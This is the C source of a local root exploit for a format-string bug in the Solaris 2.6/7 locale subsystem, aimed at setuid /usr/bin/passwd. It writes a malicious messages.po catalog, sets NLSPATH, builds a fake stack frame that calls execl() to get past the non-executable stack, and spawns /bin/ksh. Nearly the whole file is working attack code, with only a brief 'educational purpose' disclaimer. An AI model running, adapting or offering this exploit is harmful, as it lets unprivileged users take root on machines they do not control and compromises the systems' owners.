/* exploit for locale subsystem format strings bug In Solaris with noexec stack.
 * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. 
 * ./ex -o -4 )
 *
 * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
 * usages: ./ex -h
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
 * Thanks for horizon's great article about defeating noexec stack for Solaris.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *           by warning3@nsfocus.com (http://www.nsfocus.com)
 *                                     y2k/11/10
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048                    /* the size of format string buffer*/
#define BUFF    128                     /* the progname buffer size */
#define SHELL   "/bin/ksh"              /* shell name */
#define DEFAULT_NUM 68                  /* format strings number */
#define DEFAULT_RETLOC 0xffbefb44       /* default retloc address */
#define VULPROG  "/usr/bin/passwd"      /* vulnerable program name */



void usages(char *progname)
{

        int i;
        printf("Usage: %s \n", progname);
        printf("          [-h]             Help menu\n");
        printf("          [-n number]      format string's number\n");
        printf("          [-a align]       retloc buffer alignment\n");
        printf("          [-o offset]      retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)

 {
        __asm__("mov %sp,%i0");
 }


main( int argc, char **argv )

 {

        char *pattern, retlocbuf[BUFF], *env[11];
        char plat[BUFF], *ptr;
        long sh_addr, sp_addr, i;
        long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
        long  *addrptr;
        long reth, retl, reth1, retl1;
        FILE *fp;
        

        extern int optind, opterr;
        extern char *optarg;
        int opt;

        void *handle;
        long execl_addr, fp_addr, fp1_addr;
        char fakeframe[512];
        char padding[64], pad = 0;
        int env_len, arg_len, len;

        char progname[BUFF];


        strncpy(progname, argv[0], BUFF-1);

        while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
                switch((char)opt)
                {

                        case 'n':
                                num = atoi(optarg);
                                break;

                        case 'a':
                                align = atoi(optarg);
                                break;
                        case 'o':
                                offset = atoi(optarg);
                                break;
                        case '?':
                        case 'h':
                        default:
                                usages(progname);
                                exit(0);
                }

        retloc +=  offset;
        
        /* get platform info  */
        sysinfo(SI_PLATFORM,plat,256);

        /* Construct fake frame in environ */
        
        env[0] = "NLSPATH=:.";
        env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */
        /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
        env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00                       */
        env[3]=&(fakeframe[40]);/*                     |0x00                  */
        env[4]=&(fakeframe[40]);/*                          |0x00             */
        env[5]=&(fakeframe[40]);/*                               |0x00        */
        env[6]=&(fakeframe[44]);/*                                    |fp2|fp2|fp2|fp2|fp2*/
        env[7]=SHELL;           /* shell strings */
        env[8]=NULL;

        /* calculate the length of "VULPROG" + argv[1] */
        arg_len = strlen(VULPROG) + strlen("-z") + 2;

        /* calculate the pad nummber .
         * We manage to let the length of padding + arg_len + "NLSPATH=." can
         * be divided by 4. So fakeframe address is aligned with 4, otherwise
         * the exploit won't work.
         */
        pad = 3 - (arg_len + strlen(env[0]) +1)%4;
        memset(padding, 'A', pad);
        padding[pad] = '\0';

        /* get environ length */
        env_len = 0; 
        for(i = 0 ; i < 8 ; i++ )
           env_len += strlen(env[i]) + 1;

         
       /* get the length from argv[0] to stack bottom 
        *                                                      
        * +------------------------+-----------+--------+-----------+--------+
        * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
        * +------------------------+-----------+--------+-----------+--------+
        * ^                                                         ^ 
        * |__startaddr                                              |__sp_addr 
        *
        * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
        *
        *  I find "startaddr" always can be divided by 4.
        *  So we can adjust the padding's size to let the fakeframe address
        *  can be aligned with 4.
        *
        * len = length of "argv" + "env" + "platform" + "program name" 
        * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4
        * if (len%4)==0, sp_addr - startaddr =  len
        * So we can get every entry's address precisely based on startaddr or sp_addr.
        * Now we won't be bored with guessing the alignment and offset.:)
        */
       len = arg_len + env_len + strlen(plat) + 1 
                               + strlen(VULPROG) + 1;
       printf("len = %#x\n", len);

       /* get stack bottom address */

       sp_addr = (get_sp() | 0xffff) & 0xfffffffc;

        /* fp1_addr must be valid stack address */
        fp1_addr = (sp_addr & 0xfffffac0);

        /* get shell string address */
        sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */
                           - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) - 3 ;

         printf("SHELL address = %#x\n", sh_addr);
         
        /* get our fake frame address */
        fp_addr = sh_addr - 8*8 - 1;

        /* get execl() address */
        if (!(handle=dlopen(NULL,RTLD_LAZY)))
        {                                    
          fprintf(stderr,"Can't dlopen myself.\n");
          exit(1);
        }
        if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
        {
          fprintf(stderr,"Can't find execl().\n");
          exit(1);
        }                                         
                
        /* dec 4 to skip the 'save' instructure */
        execl_addr -= 4;
        
        /* check if the exec addr includes zero  */
        if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
          !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
        {
          fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
          exit(1);
        }

        printf("Using execl() address : %#x\n",execl_addr);

        /* now we set up our fake stack frame */

        addrptr=(long *)fakeframe;

        *addrptr++= 0x12345678; /* you can put any data in  local registers */
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;
        *addrptr++= 0x12345678;

        *addrptr++=sh_addr;      /* points to our string to exec */
        *addrptr++=sh_addr;      /* argv[1] is a copy of argv[0] */
        *addrptr++=0x0;          /* NULL for execl();  &fakeframe[40] */
        *addrptr++=fp1_addr;     /* &fakeframe[44] */
        *addrptr++=fp1_addr;
        *addrptr++=fp1_addr;
        *addrptr++=fp1_addr;     /* we need this address to work  */
        *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */

        *addrptr++=0x0;
        /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */
        retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);

        printf("Using RETloc address = 0x%x,  fp_addr = 0x%x  ,align= %d\n", retloc, fp_addr, align );

        /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/

       addrptr = (long *)retlocbuf;
        for( i = 0 ; i < 8 ; i ++ )
            *(addrptr + i) = 0x41414141;
        *(addrptr + 1) = retloc - 4;
        *(addrptr + 3) = retloc - 2;
        *(addrptr + 5) = retloc ;
        *(addrptr + 7) = retloc + 2;

        if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        /* Let's make formats string buffer: 
         * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|  
         */
        ptr = pattern;
        memset(ptr, 'A', 32);
        ptr += 32;

        for(i = 0 ; i < num ; i++ ){
           memcpy(ptr, "%.8x", 4);
           ptr += 4;
        }

        reth = (fp_addr >> 16) & 0xffff ;
        retl = (fp_addr >>  0) & 0xffff ;
        reth1 = (execl_addr >> 16) & 0xffff ;
        retl1 = (execl_addr >>  0) & 0xffff ;
        

        /* Big endian arch */
        sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
             (reth - num*8 -4*8 + align ), (0x10000 +  retl - reth),
             (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));

        if( !(fp = fopen("messages.po", "w+")))
        {
           perror("fopen");
           exit(1);
        }
        fprintf(fp,"domain \"messages\"\n");
        fprintf(fp,"msgid  \"%%s: illegal option -- %%c\\n\"\n");
        fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
        fclose(fp);
        system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");

        /* thanks for z33d's idea. 
         * It seems we have to do like this in Solaris 8.
         */
        i=open("./SUNW_OST_OSLIB",O_RDWR);
        /* locate the start position of formats strings in binary file*/
        lseek(i, 62, SEEK_SET);
        /* replace the start bytes with our retlocbuf */
        write(i, retlocbuf + align, 32 - align);
        close(i);

       execle(VULPROG, VULPROG, "-z", NULL, env);
}  /* end of main */

